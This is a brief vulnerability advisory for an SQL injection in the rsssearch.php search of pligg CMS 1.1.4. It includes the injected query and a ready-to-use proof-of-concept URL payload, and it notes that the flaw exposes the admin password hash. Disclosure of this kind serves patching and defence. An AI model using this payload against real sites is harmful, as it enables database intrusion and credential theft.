# Description #  
  
An SQL Injection has been found on /rsssearch.php in pligg CMS 1.1.4. Prior  
versions (works on 1.1.3) might also be vulnerables.  
  
The $_REQUEST['category'] is not sanitized properly, and is used in a SQL  
request in a WHERE clause. The resulting request can be :  
  
SELECT pligg_links.link_id AS link_id, [...] FROM pligg_links LEFT JOIN  
pligg_groups ON pligg_links.link_group_id = pligg_groups.group_id WHERE 1  
AND ( [...] AND pligg_links.link_category = 123 or 1=1)# ) AND  
pligg_links.link_status IN ('published','queued')  
  
  
# Test #  
  
To make this request happen, use this URL :  
  
http://WEBSITE/pligg/rsssearch.php?search=test&adv=1&scategory=123+or+1=1%29%23  
  
This can be used to retrieve information such as the admin's password hash,  
etc.  
  
Have a nice day, Null
